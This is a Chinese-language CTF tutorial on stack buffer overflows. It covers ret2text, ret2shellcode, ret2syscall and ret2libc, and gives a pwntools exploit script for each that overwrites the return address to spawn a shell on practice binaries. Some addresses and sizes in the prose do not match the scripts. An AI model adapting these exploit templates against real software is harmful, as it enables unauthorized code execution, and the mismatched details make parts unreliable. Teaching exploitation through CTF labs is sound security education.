栈溢出
介绍
栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。此外,我们也不难发现,发生栈溢出的基本前提是
- 程序必须向栈上写入数据。
- 写入的数据大小没有被良好地控制。
利用
利用栈溢出,覆盖地址,去我们想要执行函数的地址,从而绕过一些操作
栈
栈是一种数据结构,遵循后进先出的原则(Last in First Out),主要有压栈(push)与出栈(pop)两种操作
eax, ebx, ecx, edx, esi, edi, ebp, esp等都是X86 汇编语言中CPU上的通用寄存器的名称,是32位的寄存器。如果用C语言来解释,可以把这些寄存器当作变量看待。
在栈中,esp保存栈帧的栈顶地址,ebp保存栈帧的栈底地址
程序的栈是从进程地址空间的高地址向低地址增长的
栈溢出原理
栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。
栈溢出的前提是:程序向栈上写入数据;数据的长度不受控制
最简单的栈溢出就是通过溢出,覆盖程序的返回地址,将返回地址覆盖为system('/bin/sh')的地址
简单利用
通过CTFHUB技能树中的ret2text进行栈溢出
首先下载附件,利用checksec检查程序开启的保护
该程序开启NX保护(栈不可执行),并且是amd的64位程序,拖入ida进行静态分析
阅读代码发现程序调用了read函数,可读入0x29个字节,buf只申请了0x20(32)个字节。存在栈溢出
shift+f12发现程序中有可执行后门system('/bin/sh')
那么溢出ret到执行system('/bin/sh')的地址即可,双击/bin/sh,ctrl+x追踪到/bin/sh的地址为0x04007B8
查看v4,发现设定的v4长度为0x70,同时由于是64位系统,需要+8字节覆盖掉rbp(32位系统+4字节覆盖掉ebp)
接下来就可以编写exp(脚本)
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
p=process("./pwn1")
elf=ELF("./pwn1")
def bug():
gdb.attach(p)
pause() ###调试标志
p.recvuntil("hello")
flag=0x401209
pay=b'a'*(0x20+8)+p64(flag)
bug() ###在pay发送之前抓取
p.sendline(pay)
p.interactive()
所以进行栈溢出需要两个重要的步骤:一是寻找危险函数( gets、scanf、vscanf、sprintf、strcpy、strcat、bcopy等)例:
gets 本身是一个危险函数。它从不检查输入字符串的长度,而是以回车来判断输入是否结束,所以很容易可以导致栈溢出;二是确定填充长度,计算要操作的地址与要覆盖的地址的距离
!!!此exp用于本地调试打通
没有后门时的栈溢出利用
ret2text中拿到shell是通过将eip覆盖为system("/bin/sh")的地址,如果程序中没有后门,一般可以通过以下几种方式利用
ret2shellcode
shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。利用方式是将shellcode写入程序,然后利用栈溢出将eip的返回地址覆盖为shellcode的地址,进而让程序执行shellcode。这就需要程序中存在一个位置能够让我们写入shellcode并执行(比如bss段)。
用IDA静态编译发现提示用shellcode
pwndbg发现该区域有执行权限
发现目标函数,通过gets读入shllcode来获取权限
Exp:
from pwn import *
context(os='linux',arch='i386',log_level='debug')
p=process("./show58")
elf=ELF("./show58")
def bug():
gdb.attach(p)
pause()
shellcode=asm(shellcraft.sh())###自动生成shellcode
bug()
p.sendline(shellcode)
p.interactive()
Ret2syscall
ret2syscall,即控制程序执行系统调用,获取 shell。
系统调用是指由操作系统提供的供所有系统调用的程序接口集合;用户程序通常只在用户态下运行,当用户程序想要调用只能在内核态运行的子程序时,操作系统需要提供访问这些内核态运行的程序的接口,这些接口的集合就叫做系统调用,简要的说,系统调用是内核向用户进程提供服务的唯一方法。
用户程序通过系统调用从用户态(user mode)切换到核心态(kernel mode ),从而可以访问相应的资源。
要使用系统调用,需要通过汇编指令 int 0x80 (32位)实现,用系统调用号来区分入口函数。
64:execve("/bin/sh",0,0) #0x3b #bin_addr #0 # 0 #syscall
32:execve("/bin/sh",0,0) #0x0b #bin_addr #0 #0 #int 0x80
首先检测程序开启的保护
64位,开启了NX保护,拖入IDA查看源代码
可以看到依然是gets函数的栈溢出,但是由于程序本身没有后门,只有\bin\sh字符串并且无法自己写入shellcode来获得shell,这是就要用到系统调用。
简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们再执行 int 0x80 就可执行对应的系统调用。这里可以用execve("/bin/sh",NULL,NULL)这个系统调用来获取shell,其中execve 对应的系统调用号为0xb
由于程序是32位的,按照execve("/bin/sh",NULL,NULL),令eax为execve的系统调用号即0xb,第一个参数ebx指向/bin/sh,ecx和edx为0
https://syscalls.w3challs.com/ 可通过此网站去找对应的系统调用符号,可调用任意函数
搜索execve
而我们如何控制这些寄存器的值呢?这里就需要使用 gadgets。比如说,现在栈顶是 10,那么如果此时执行了 pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这里需要用到ROPgadget寻找gadget
通过使用ROPgadget找到syscall
IDA中找到\bin\sh字符串的位置
Exp:
from pwn import *
p=process("./syscall64")
def bug():
gdb.attach(p)
pause()
rax=0x00000000004005fb
rdi=0x00000000004005ff
rsi=0x0000000000400601
rdx=0x0000000000400603
syscall=0x0000000000400607
bin_sh=0x400714
payload=b'a'*(0xd0+8)+p64(rax)+p64(0x3b)+p64(rdi)+p64(bin_sh)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(syscall)
bug()
p.sendline(payload)
p.interactive()
Ret2libc
ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system("/bin/sh"),故而此时我们需要知道 system 函数的地址。
当一个程序 (e)需要执行gets函数(某个函数),而e本身没有这个函数的具体代码,它就需要跳到libc动态销接库中去执行gets函数,在libc动态链接库中gets函数才能够真正的执行,e中的get只是一个指针,指向libc库中get函数的真实地址
即当一个程序中没有某个函数 (gets)的时候,它就会连接libc动态链接库,执行其中的gets函数ibc库中包含了所有可执行的函数,你能在其中找到任何你需要的函数当然了,有动态链接库,自然也有静态链接库,区别就在于,动态链接库与程序是俩个独立的个体,当程序需要ibc时才会连接使用其中的函数,而静态链接库与程序是一个整体,会将程序与它放到一个附件中,这样无疑会占用更多的空间,造成空间浪费
因此,大多数情况下都是使用动态链接库,以达到节省空间的作用ibc库里的所有函数地址都是一人偏移后的地址(动态链接库每次生成的偏移后的某函数的地址是一样的,但不司的链接库的生成的偏移后的某地址是不一样的),而程序在运行的时候会随机产生一个libc库的基址ibc base,我们只需要用基址加上偏移后的函数的地址就可以得到函数的真实地址[这边实际上可以把偏移后的函数地址理解为函数的偏移,我们需要用libc基址加上偏移才能得到真实的函数地址,而不同函数的偏移是不-样的,但同一个libc库每次生成的同一个函数的偏移是一样的]
首先下载附件,得到一个程序以及程序用到的libc,将程序拖入IDA分析
很明显gets处存在栈溢出,但通过寻找,没有发现可利用的函数
根据动态链接和延迟绑定技术,运用任意地址读写技术对某个函数的GOT表进行改写,使其指向想要执行的危险函数[如system , execve函数]
操作系统通常使用动态链接的方法来提高程序运行的效率。那么在动态链接的情况下,程序加载的时候并不会把链接库中所有函数都一起加载进来,而是程序执行的时候按需加载,也就是控制执行 libc(对应版本)中的函数,通常是返回至某个函数的plt处或者函数的具体位置 (即函数对应的got表项的内容)。一般情况下,我们会选择执行 system(“/bin/sh”)(或者execve("/bin/sh",NULL,NULL)),故而此时我们需要知道system函数的地址
所以首先要做的是通过栈溢出,泄露出puts真实的地址,然后计算真实地址与libc中puts地址的偏移,进而计算出system与/bin/sh的地址,同时还要获取rdi、ret与main函数的地址
可以使用IDA寻找main函数(及返回地址的函数)的起始地址
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p=remote("node4.buuoj.cn",26023)
p=process("./pwn2")
#libc=ELF("./libc6_2.27-3ubuntu1_amd64.so")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF("./pwn2")
def bug():
gdb.attach(p)
pause()
vuln=0x400637
pop_rdi=0x00000000004007e3
p.recvuntil("Hello CTFshow")
pay=b'a'*(0x20+8)+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(vuln)
#bug()
p.sendline(pay)
#leek libc_base================================================
puts_addr=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base=puts_addr-libc.sym['puts']
print(hex(libc_base))
system=libc_base+libc.sym['system']
bin_sh=libc_base+libc.search(b"/bin/sh\x00").__next__()
#==============================================================
pay=b'a'*(0x20+8)+p64(pop_rdi)+p64(bin_sh)+p64(pop_rdi+1)+p64(system)
bug()
p.sendline(pay)
p.interactive()